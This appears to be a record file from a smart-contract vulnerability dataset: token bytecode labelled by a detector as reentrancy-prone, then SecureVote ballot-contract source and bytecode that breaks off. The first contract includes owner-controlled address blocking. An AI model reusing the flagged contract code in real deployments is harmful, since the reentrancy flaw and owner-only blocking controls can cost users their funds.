0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610355578063c3c8cd8014610375578063c9567bf91461038a578063dbe8272c1461039f578063dc1052e2146103bf578063dd62ed3e146103df57600080fd5b8063715018a6146102b15780638da5cb5b146102c657806395d89b41146102ee5780639e78fb4f14610320578063a9059cbb1461033557600080fd5b806323b872dd116100f257806323b872dd14610220578063273123b714610240578063313ce567146102605780636fc3eaec1461027c57806370a082311461029157600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101ab57806318160ddd146101db5780631bbae6e01461020057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611882565b610425565b005b34801561016857600080fd5b5060408051808201909152601481527342696f6c6f676963616c2053756273747261746560601b60208201525b6040516101a291906118ff565b60405180910390f35b3480156101b757600080fd5b506101cb6101c6366004611790565b610476565b60405190151581526020016101a2565b3480156101e757600080fd5b50670de0b6b3a76400005b6040519081526020016101a2565b34801561020c57600080fd5b5061015a61021b3660046118ba565b61048d565b34801561022c57600080fd5b506101cb61023b366004611750565b6104cf565b34801561024c57600080fd5b5061015a61025b3660046116e0565b610538565b34801561026c57600080fd5b50604051600981526020016101a2565b34801561028857600080fd5b5061015a610583565b34801561029d57600080fd5b506101f26102ac3660046116e0565b6105b7565b3480156102bd57600080fd5b5061015a6105d9565b3480156102d257600080fd5b506000546040516001600160a01b0390911681526020016101a2565b3480156102fa57600080fd5b5060408051808201909152600981526853554253545241544560b81b6020820152610195565b34801561032c57600080fd5b5061015a61064d565b34801561034157600080fd5b506101cb610350366004611790565b61088c565b34801561036157600080fd5b5061015a6103703660046117bb565b610899565b34801561038157600080fd5b5061015a61093d565b34801561039657600080fd5b5061015a61097d565b3480156103ab57600080fd5b5061015a6103ba3660046118ba565b610b43565b3480156103cb57600080fd5b5061015a6103da3660046118ba565b610b7b565b3480156103eb57600080fd5b506101f26103fa366004611718565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104585760405162461bcd60e51b815260040161044f90611952565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610483338484610bb3565b5060015b92915050565b6000546001600160a01b031633146104b75760405162461bcd60e51b815260040161044f90611952565b66470de4df8200008111156104cc5760108190555b50565b60006104dc848484610cd7565b61052e843361052985604051806060016040528060288152602001611ad0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fce565b610bb3565b5060019392505050565b6000546001600160a01b031633146105625760405162461bcd60e51b815260040161044f90611952565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105ad5760405162461bcd60e51b815260040161044f90611952565b476104cc81611008565b6001600160a01b03811660009081526002602052604081205461048790611042565b6000546001600160a01b031633146106035760405162461bcd60e51b815260040161044f90611952565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106775760405162461bcd60e51b815260040161044f90611952565b600f54600160a01b900460ff16156106d15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076991906116fc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b157600080fd5b505afa1580156107c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e991906116fc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083157600080fd5b505af1158015610845573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086991906116fc565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610483338484610cd7565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161044f90611952565b60005b8151811015610939576001600660008484815181106108f557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061093181611a65565b9150506108c6565b5050565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161044f90611952565b6000610972306105b7565b90506104cc816110c6565b6000546001600160a01b031633146109a75760405162461bcd60e51b815260040161044f90611952565b600e546109c79030906001600160a01b0316670de0b6b3a7640000610bb3565b600e546001600160a01b031663f305d71947306109e3816105b7565b6000806109f86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5b57600080fd5b505af1158015610a6f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9491906118d2565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0b57600080fd5b505af1158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104cc919061189e565b6000546001600160a01b03163314610b6d5760405162461bcd60e51b815260040161044f90611952565b601a8110156104cc57600b55565b6000546001600160a01b03163314610ba55760405162461bcd60e51b815260040161044f90611952565b601a8110156104cc57600c55565b6001600160a01b038316610c155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044f565b6001600160a01b038216610c765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044f565b6001600160a01b038216610d9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044f565b60008111610dff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044f565b6001600160a01b03831660009081526006602052604090205460ff1615610e2557600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6757506001600160a01b03821660009081526005602052604090205460ff16155b15610fbe576000600955600c54600a55600f546001600160a01b038481169116148015610ea25750600e546001600160a01b03838116911614155b8015610ec757506001600160a01b03821660009081526005602052604090205460ff16155b8015610edc5750600f54600160b81b900460ff165b15610ef057601054811115610ef057600080fd5b600f546001600160a01b038381169116148015610f1b5750600e546001600160a01b03848116911614155b8015610f4057506001600160a01b03831660009081526005602052604090205460ff16155b15610f51576000600955600b54600a555b6000610f5c306105b7565b600f54909150600160a81b900460ff16158015610f875750600f546001600160a01b03858116911614155b8015610f9c5750600f54600160b01b900460ff165b15610fbc57610faa816110c6565b478015610fba57610fba47611008565b505b505b610fc983838361126b565b505050565b60008184841115610ff25760405162461bcd60e51b815260040161044f91906118ff565b506000610fff8486611a4e565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610939573d6000803e3d6000fd5b60006007548211156110a95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044f565b60006110b3611276565b90506110bf8382611299565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117057600080fd5b505afa158015611184573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a891906116fc565b816001815181106111c957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ef9130911684610bb3565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611228908590600090869030904290600401611987565b600060405180830381600087803b15801561124257600080fd5b505af1158015611256573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc98383836112db565b60008060006112836113d2565b90925090506112928282611299565b9250505090565b60006110bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611412565b6000806000806000806112ed87611440565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061131f908761149d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134e90866114df565b6001600160a01b0389166000908152600260205260409020556113708161153e565b61137a8483611588565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113bf91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113ed8282611299565b82101561140957505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114335760405162461bcd60e51b815260040161044f91906118ff565b506000610fff8486611a0f565b600080600080600080600080600061145d8a600954600a546115ac565b925092509250600061146d611276565b905060008060006114808e878787611601565b919e509c509a509598509396509194505050505091939550919395565b60006110bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fce565b6000806114ec83856119f7565b9050838110156110bf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044f565b6000611548611276565b905060006115568383611651565b3060009081526002602052604090205490915061157390826114df565b30600090815260026020526040902055505050565b600754611595908361149d565b6007556008546115a590826114df565b6008555050565b60008080806115c660646115c08989611651565b90611299565b905060006115d960646115c08a89611651565b905060006115f1826115eb8b8661149d565b9061149d565b9992985090965090945050505050565b60008080806116108886611651565b9050600061161e8887611651565b9050600061162c8888611651565b9050600061163e826115eb868661149d565b939b939a50919850919650505050505050565b60008261166057506000610487565b600061166c8385611a2f565b9050826116798583611a0f565b146110bf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044f565b80356116db81611aac565b919050565b6000602082840312156116f1578081fd5b81356110bf81611aac565b60006020828403121561170d578081fd5b81516110bf81611aac565b6000806040838503121561172a578081fd5b823561173581611aac565b9150602083013561174581611aac565b809150509250929050565b600080600060608486031215611764578081fd5b833561176f81611aac565b9250602084013561177f81611aac565b929592945050506040919091013590565b600080604083850312156117a2578182fd5b82356117ad81611aac565b946020939093013593505050565b600060208083850312156117cd578182fd5b823567ffffffffffffffff808211156117e4578384fd5b818501915085601f8301126117f7578384fd5b81358181111561180957611809611a96565b8060051b604051601f19603f8301168101818110858211171561182e5761182e611a96565b604052828152858101935084860182860187018a101561184c578788fd5b8795505b8386101561187557611861816116d0565b855260019590950194938601938601611850565b5098975050505050505050565b600060208284031215611893578081fd5b81356110bf81611ac1565b6000602082840312156118af578081fd5b81516110bf81611ac1565b6000602082840312156118cb578081fd5b5035919050565b6000806000606084860312156118e6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561192b5785810183015185820160400152820161190f565b8181111561193c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119d65784516001600160a01b0316835293830193918301916001016119b1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0a57611a0a611a80565b500190565b600082611a2a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4957611a49611a80565b500290565b600082821015611a6057611a60611a80565b500390565b6000600019821415611a7957611a79611a80565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104cc57600080fd5b80151581146104cc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205bac80e86219491c4857531d056ad89d9c0c8dd0fb57fa5ce02c378dc3b826fb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,828
0xe8ce73bf3410d06fa9d4744655508c11f4ef7881
pragma solidity ^0.4.19; // // SVLightBallotBox // Single use contract to manage a ballot // Author: Max Kaye <max@secure.vote> // (c) SecureVote 2018 // // Architecture: // * Ballot authority declares public key with which to encrypt ballots (optional - stored in ballot spec) // * Users submit encrypted or plaintext ballots as blobs (dependent on above) // * These ballots are tracked by the ETH address of the sender // * Following the conclusion of the ballot, the secret key is provided // by the ballot authority, and all users may transparently and // independently validate the results // // Notes: // * Since ballots are encrypted the only validation we can do is length, but UI takes care of most of the rest // contract SVLightBallotBox { //// ** Storage Variables // Std owner pattern address public owner; // test mode - operations like changing start/end times bool public testMode = false; // struct for ballot struct Ballot { bytes32 ballotData; address sender; // we use a uint32 here because addresses are 20 bytes and this might help // solidity pack the block number well. gives us a little room to expand too if needed. uint32 blockN; } // Maps to store ballots, along with corresponding log of voters. // Should only be modified through `addBallotAndVoter` internal function mapping (uint256 => Ballot) public ballotMap; mapping (uint256 => bytes32) public associatedPubkeys; uint256 public nVotesCast = 0; // Use a map for voters to look up their ballot mapping (address => uint256) public voterToBallotID; // NOTE - We don't actually want to include the PublicKey because _it's included in the ballotSpec_. // It's better to ensure ppl actually have the ballot spec by not including it in the contract. // Plus we're already storing the hash of the ballotSpec anyway... // Private key to be set after ballot conclusion - curve25519 bytes32 public ballotEncryptionSeckey; bool seckeyRevealed = false; // Timestamps for start and end of ballot (UTC) uint64 public startTime; uint64 public endTime; uint64 public creationBlock; uint64 public startingBlockAround; // specHash by which to validate the ballots integrity bytes32 public specHash; bool public useEncryption; // deprecation flag - doesn't actually do anything besides signal that this contract is deprecated; bool public deprecated = false; //// ** Events event CreatedBallot(address _creator, uint64[2] _openPeriod, bool _useEncryption, bytes32 _specHash); event SuccessfulPkVote(address voter, bytes32 ballot, bytes32 pubkey); event SuccessfulVote(address voter, bytes32 ballot); event SeckeyRevealed(bytes32 secretKey); event TestingEnabled(); event Error(string error); event DeprecatedContract(); event SetOwner(address _owner); //// ** Modifiers modifier onlyOwner { require(msg.sender == owner); _; } modifier ballotOpen { require(uint64(block.timestamp) >= startTime && uint64(block.timestamp) < endTime); _; } modifier onlyTesting { require(testMode); _; } modifier isTrue(bool _b) { require(_b == true); _; } modifier isFalse(bool _b) { require(_b == false); _; } //// ** Functions uint16 constant F_USE_ENC = 0; uint16 constant F_TESTING = 1; // Constructor function - init core params on deploy // timestampts are uint64s to give us plenty of room for millennia // flags are [_useEncryption, enableTesting] function SVLightBallotBox(bytes32 _specHash, uint64[2] openPeriod, bool[2] flags) public { owner = msg.sender; // take the max of the start time provided and the blocks timestamp to avoid a DoS against recent token holders // (which someone might be able to do if they could set the timestamp in the past) startTime = max(openPeriod[0], uint64(block.timestamp)); endTime = openPeriod[1]; useEncryption = flags[F_USE_ENC]; specHash = _specHash; creationBlock = uint64(block.number); // add a rough prediction of what block is the starting block startingBlockAround = uint64((startTime - block.timestamp) / 15 + block.number); if (flags[F_TESTING]) { testMode = true; TestingEnabled(); } CreatedBallot(msg.sender, [startTime, endTime], useEncryption, specHash); } // Ballot submission function submitBallotWithPk(bytes32 encryptedBallot, bytes32 senderPubkey) isTrue(useEncryption) ballotOpen public { addBallotAndVoterWithPk(encryptedBallot, senderPubkey); SuccessfulPkVote(msg.sender, encryptedBallot, senderPubkey); } function submitBallotNoPk(bytes32 ballot) isFalse(useEncryption) ballotOpen public { addBallotAndVoterNoPk(ballot); SuccessfulVote(msg.sender, ballot); } // Internal function to ensure atomicity of voter log function addBallotAndVoterWithPk(bytes32 encryptedBallot, bytes32 senderPubkey) internal { uint256 ballotNumber = addBallotAndVoterNoPk(encryptedBallot); associatedPubkeys[ballotNumber] = senderPubkey; } function addBallotAndVoterNoPk(bytes32 encryptedBallot) internal returns (uint256) { uint256 ballotNumber = nVotesCast; ballotMap[ballotNumber] = Ballot(encryptedBallot, msg.sender, uint32(block.number)); voterToBallotID[msg.sender] = ballotNumber; nVotesCast += 1; return ballotNumber; } // Allow the owner to reveal the secret key after ballot conclusion function revealSeckey(bytes32 _secKey) onlyOwner public { require(block.timestamp > endTime); ballotEncryptionSeckey = _secKey; seckeyRevealed = true; // this flag allows the contract to be locked SeckeyRevealed(_secKey); } function getEncSeckey() public constant returns (bytes32) { return ballotEncryptionSeckey; } // Test functions function setEndTime(uint64 newEndTime) onlyTesting onlyOwner public { endTime = newEndTime; } function setDeprecated() onlyOwner public { deprecated = true; DeprecatedContract(); } function setOwner(address newOwner) onlyOwner public { owner = newOwner; SetOwner(newOwner); } // utils function max(uint64 a, uint64 b) pure internal returns(uint64) { if (a > b) { return a; } return b; } } // // The Index by which democracies and ballots are tracked (and optionally deployed). // Author: Max Kaye <max@secure.vote> // (c) SecureVote 2018 // contract SVLightIndexShim { address public owner; struct Ballot { bytes32 specHash; bytes32 extraData; address votingContract; uint64 startTs; } struct Democ { string name; address admin; Ballot[] ballots; } mapping (bytes32 => Democ) public democs; bytes32[] public democList; bool public paymentEnabled = false; SVLightIndexShim prevIndex; //* EVENTS / event PaymentMade(uint128[2] valAndRemainder); event DemocInit(string name, bytes32 democHash, address admin); event BallotInit(bytes32 specHash, uint64[2] openPeriod, bool[2] flags); event BallotAdded(bytes32 democHash, bytes32 specHash, bytes32 extraData, address votingContract); event SetFees(uint128[2] _newFees); event PaymentEnabled(bool _feeEnabled); //* MODIFIERS / modifier onlyBy(address _account) { require(msg.sender == _account); _; } //* FUNCTIONS / // constructor constructor(SVLightIndexShim _prevIndex) public { owner = msg.sender; prevIndex = _prevIndex; bytes32 democHash; bytes32 specHash; bytes32 extraData; address votingContract; uint64 startTime; for (uint i = 0; i < prevIndex.nDemocs(); i++) { democHash = prevIndex.democList(i); democList.push(democHash); // only democracies are SWM democs[democHash].admin = msg.sender; for (uint j = 0; j < prevIndex.nBallots(democHash); j++) { (specHash, extraData, votingContract, startTime) = prevIndex.getNthBallot(democHash, j); democs[democHash].ballots.push(Ballot(specHash, extraData, votingContract, startTime)); } } } //* GLOBAL INFO */ function nDemocs() public constant returns (uint256) { return democList.length; } //* PAYMENT AND OWNER FUNCTIONS */ function setOwner(address _owner) onlyBy(owner) public { owner = _owner; } function setDemocAdminEmergency(bytes32 democHash, address newAdmin) onlyBy(owner) public { democs[democHash].admin = newAdmin; } //* DEMOCRACY FUNCTIONS - INDIVIDUAL */ function getDemocInfo(bytes32 democHash) public constant returns (string name, address admin, uint256 nBallots) { // only democs are SWM Gov democs return ("SWM Governance", democs[democHash].admin, democs[democHash].ballots.length); } function setAdmin(bytes32 democHash, address newAdmin) onlyBy(democs[democHash].admin) public { democs[democHash].admin = newAdmin; } function nBallots(bytes32 democHash) public constant returns (uint256) { return democs[democHash].ballots.length; } function getNthBallot(bytes32 democHash, uint256 n) public constant returns (bytes32 specHash, bytes32 extraData, address votingContract, uint64 startTime) { return (democs[democHash].ballots[n].specHash, democs[democHash].ballots[n].extraData, democs[democHash].ballots[n].votingContract, democs[democHash].ballots[n].startTs); } //* ADD BALLOT TO RECORD */ function _commitBallot(bytes32 democHash, bytes32 specHash, bytes32 extraData, address votingContract, uint64 startTs) internal { democs[democHash].ballots.push(Ballot(specHash, extraData, votingContract, startTs)); BallotAdded(democHash, specHash, extraData, votingContract); } function addBallot(bytes32 democHash, bytes32 extraData, address votingContract) onlyBy(democs[democHash].admin) public { SVLightBallotBox bb = SVLightBallotBox(votingContract); bytes32 specHash = bb.specHash(); uint64 startTs = bb.startTime(); _commitBallot(democHash, specHash, extraData, votingContract, startTs); } function deployBallot(bytes32 democHash, bytes32 specHash, bytes32 extraData, uint64[2] openPeriod, bool[2] flags) onlyBy(democs[democHash].admin) public payable { // the start time is max(startTime, block.timestamp) to avoid a DoS whereby a malicious electioneer could disenfranchise // token holders who have recently acquired tokens. uint64 startTs = max(openPeriod[0], uint64(block.timestamp)); SVLightBallotBox votingContract = new SVLightBallotBox(specHash, [startTs, openPeriod[1]], flags); votingContract.setOwner(msg.sender); _commitBallot(democHash, specHash, extraData, address(votingContract), startTs); BallotInit(specHash, [startTs, openPeriod[1]], flags); } // utils function max(uint64 a, uint64 b) pure internal returns(uint64) { if (a > b) { return a; } return b; } }
0x608060405260043610620000d25763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313af40358114620000d757806327f4b05614620000fd5780635db38c6314620001b357806362981b1814620001dd5780636b3578f2146200024257806388257016146200026e5780638da5cb5b14620002c45780639bc29b7a14620002f8578063a1a1efe714620003a7578063cf2317d514620003d1578063df2484ff14620003ec578063ee4024db1462000407578063fed9981e146200042e575b600080fd5b348015620000e457600080fd5b50620000fb600160a060020a036004351662000455565b005b3480156200010a57600080fd5b50620001186004356200049e565b604051808060200184600160a060020a0316600160a060020a03168152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015620001755781810151838201526020016200015b565b50505050905090810190601f168015620001a35780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b348015620001c057600080fd5b50620001cb620004ff565b60408051918252519081900360200190f35b604080518082018252620000fb91600480359260243592604435923692909160a4919060649060029083908390808284375050604080518082018252949796958181019594509250600291508390839080828437509396506200050595505050505050565b3480156200024f57600080fd5b506200025a6200074c565b604080519115158252519081900360200190f35b3480156200027b57600080fd5b506200028c60043560243562000755565b604080519485526020850193909352600160a060020a039091168383015267ffffffffffffffff166060830152519081900360800190f35b348015620002d157600080fd5b50620002dc6200084d565b60408051600160a060020a039092168252519081900360200190f35b3480156200030557600080fd5b50620003136004356200085c565b604051808060200183600160a060020a0316600160a060020a03168152602001828103825284818151815260200191508051906020019080838360005b838110156200036a57818101518382015260200162000350565b50505050905090810190601f168015620003985780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b348015620003b457600080fd5b50620000fb600435602435600160a060020a03604435166200090b565b348015620003de57600080fd5b50620001cb60043562000a68565b348015620003f957600080fd5b50620001cb60043562000a7d565b3480156200041457600080fd5b50620000fb600435600160a060020a036024351662000a9d565b3480156200043b57600080fd5b50620000fb600435600160a060020a036024351662000b07565b600054600160a060020a03163381146200046e57600080fd5b506000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600090815260016020818152604092839020918201546002909201548351808501909452600e84527f53574d20476f7665726e616e6365000000000000000000000000000000000000918401919091529192600160a060020a039091169190565b60025490565b6000858152600160208190526040822001548190600160a060020a03163381146200052f57600080fd5b84516200053d904262000b20565b6040805180820190915267ffffffffffffffff82168152909350879060208101876001602002015167ffffffffffffffff169052856200057c62000c7a565b8381526020810183604080838360005b83811015620005a65781810151838201526020016200058c565b5050505090500182600260200280838360005b83811015620005d3578181015183820152602001620005b9565b505050509050019350505050604051809103906000f080158015620005fc573d6000803e3d6000fd5b50604080517f13af40350000000000000000000000000000000000000000000000000000000081523360048201529051919350600160a060020a038416916313af40359160248082019260009290919082900301818387803b1580156200066257600080fd5b505af115801562000677573d6000803e3d6000fd5b505050506200068a888888858762000b50565b60408051808201825267ffffffffffffffff85811682526020888101519091168183015282518a81527fbc7a1a229e81699a6e3aeb6f23b8ab68c29ac40d8943fe0f763978cd37fbd946938b939289929190820190849080838360005b8381101562000701578181015183820152602001620006e7565b5050505090500182600260200280838360005b838110156200072e57818101518382015260200162000714565b50505050905001935050505060405180910390a15050505050505050565b60035460ff1681565b6000828152600160205260408120600201805482918291829190869081106200077a57fe5b6000918252602080832060039092029091015488835260019091526040909120600201805487908110620007aa57fe5b6000918252602080832060016003909302018201548a84529190526040909120600201805488908110620007da57fe5b6000918252602080832060026003909302018201548b845260019091526040909220018054600160a060020a0390921691899081106200081657fe5b906000526020600020906003020160020160149054906101000a900467ffffffffffffffff16935093509350935092959194509250565b600054600160a060020a031681565b60016020818152600092835260409283902080548451600294821615610100026000190190911693909304601f8101839004830284018301909452838352928391830182828015620008f25780601f10620008c657610100808354040283529160200191620008f2565b820191906000526020600020905b815481529060010190602001808311620008d457829003601f168201915b50505060019093015491925050600160a060020a031682565b60008381526001602081905260408220015481908190600160a060020a03163381146200093757600080fd5b84935083600160a060020a031663839ea7766040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156200099257600080fd5b505af1158015620009a7573d6000803e3d6000fd5b505050506040513d6020811015620009be57600080fd5b5051604080517f78e979250000000000000000000000000000000000000000000000000000000081529051919450600160a060020a038616916378e97925916004808201926020929091908290030181600087803b15801562000a2057600080fd5b505af115801562000a35573d6000803e3d6000fd5b505050506040513d602081101562000a4c57600080fd5b5051915062000a5f878488888662000b50565b50505050505050565b60009081526001602052604090206002015490565b600280548290811062000a8c57fe5b600091825260209091200154905081565b60008281526001602081905260409091200154600160a060020a031633811462000ac657600080fd5b506000918252600160208190526040909220909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b600054600160a060020a031633811462000ac657600080fd5b60008167ffffffffffffffff168367ffffffffffffffff16111562000b4757508162000b4a565b50805b92915050565b60008581526001602081815260408084208151608080820184528a82528185018a8152600160a060020a038a811684870181815267ffffffffffffffff8c811660608089019182526002998a018054808f018255908f529d8c902098516003909e029098019c8d5594519a8c019a909a5551999095018054925173ffffffffffffffffffffffffffffffffffffffff1990931699909116989098177fffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000091909716029590951790955581518a81529283018990528282018890529382019390935291517fcd67d56088f4b97d8a591f2f1ba8f11349d19c0f4be8d29bef80df49372fdc469281900390910190a15050505050565b604051610b818062000c8c83390190560060806040526000805460a060020a60ff02191681556003556006805460ff191690556009805461ff001916905534801561003857600080fd5b5060405160a080610b8183398101604052805160008054600160a060020a03191633179055602082018051919290916060909101906100809042640100000000610250810204565b6006805460208581015185516009805460ff191691151591909117905560088890556001604060020a0390811669010000000000000000000294811661010090810268ffffffffffffffff001990941693909317604860020a608860020a03191694909417608860020a60c860020a03191671010000000000000000000000000000000000438681169190910291909117938490556007805467ffffffffffffffff1916600f4295909604871694909403949094040190931617905581015115610193576000805460a060020a60ff021916740100000000000000000000000000000000000000001781556040517f641e6b9d2f3c463bec5b5cffe3f5017d9a49ad5543d2962eb746c6a7afa223c59190a15b6040805180820182526006546001604060020a036101008204811683526901000000000000000000909104166020808301919091526009546008548451338082527f72e9f65ccb8c470c69c19a96f9ebf2ecfda0034e60416b28bdc6f25cce1d244d9690959460ff90941693820190859080838360005b8381101561022257818101518382015260200161020a565b50505050941515919094019081526020810192909252506040805191829003019350915050a150505061027c565b6000816001604060020a0316836001604060020a03161115610273575081610276565b50805b92915050565b6108f68061028b6000396000f30060806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663023e36d881146101215780630e136b191461014857806313af4035146101715780631763451414610194578063245b565d146101c65780633197cbb6146101db57806334aba1ce146101f05780633dc286ae14610205578063432ba8be1461021a57806349d5e18f1461023b57806378e9792514610250578063839ea776146102655780638da5cb5b1461027a57806398203e6b146102ab578063b49730ca146102c0578063b9ae4bda14610304578063bc19bcbf1461031c578063cbc265ac14610337578063cd9ea3421461034f578063dea7b76814610364578063e945c3911461037c575b600080fd5b34801561012d57600080fd5b5061013661039e565b60408051918252519081900360200190f35b34801561015457600080fd5b5061015d6103a4565b604080519115158252519081900360200190f35b34801561017d57600080fd5b50610192600160a060020a03600435166103b2565b005b3480156101a057600080fd5b506101a961042a565b6040805167ffffffffffffffff9092168252519081900360200190f35b3480156101d257600080fd5b5061013661044f565b3480156101e757600080fd5b506101a9610455565b3480156101fc57600080fd5b506101a9610472565b34801561021157600080fd5b50610136610482565b34801561022657600080fd5b50610136600160a060020a0360043516610488565b34801561024757600080fd5b5061015d61049a565b34801561025c57600080fd5b506101a96104a3565b34801561027157600080fd5b506101366104b8565b34801561028657600080fd5b5061028f6104be565b60408051600160a060020a039092168252519081900360200190f35b3480156102b757600080fd5b506101926104cd565b3480156102cc57600080fd5b506102d860043561051e565b60408051938452600160a060020a03909216602084015263ffffffff1682820152519081900360600190f35b34801561031057600080fd5b50610136600435610560565b34801561032857600080fd5b50610192600435602435610572565b34801561034357600080fd5b50610192600435610624565b34801561035b57600080fd5b5061015d6106a8565b34801561037057600080fd5b506101926004356106c9565b34801561038857600080fd5b5061019267ffffffffffffffff60043516610771565b60035481565b600954610100900460ff1681565b600054600160a060020a031633146103c957600080fd5b60008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f167d3e9c1016ab80e58802ca9da10ce5c6a0f4debc46a2e7a2cd9e56899a4fb59181900360200190a150565b60065471010000000000000000000000000000000000900467ffffffffffffffff1681565b60055481565b6006546901000000000000000000900467ffffffffffffffff1681565b60075467ffffffffffffffff1681565b60055490565b60046020526000908152604090205481565b60095460ff1681565b600654610100900467ffffffffffffffff1681565b60085481565b600054600160a060020a031681565b600054600160a060020a031633146104e457600080fd5b6009805461ff0019166101001790556040517f77563e26f751f6c469d11286ef3f15cb0d2033a8b182387a2a4478201996178790600090a1565b60016020819052600091825260409091208054910154600160a060020a0381169074010000000000000000000000000000000000000000900463ffffffff1683565b60026020526000908152604090205481565b60095460ff1680151560011461058757600080fd5b60065467ffffffffffffffff610100909104811642909116108015906105ca575060065467ffffffffffffffff6901000000000000000000909104811642909116105b15156105d557600080fd5b6105df83836107eb565b604080513381526020810185905280820184905290517f9368bc78a0bff8558a96f0716c502e7826c09faab0999d15c1464d46432866ec9181900360600190a1505050565b600054600160a060020a0316331461063b57600080fd5b6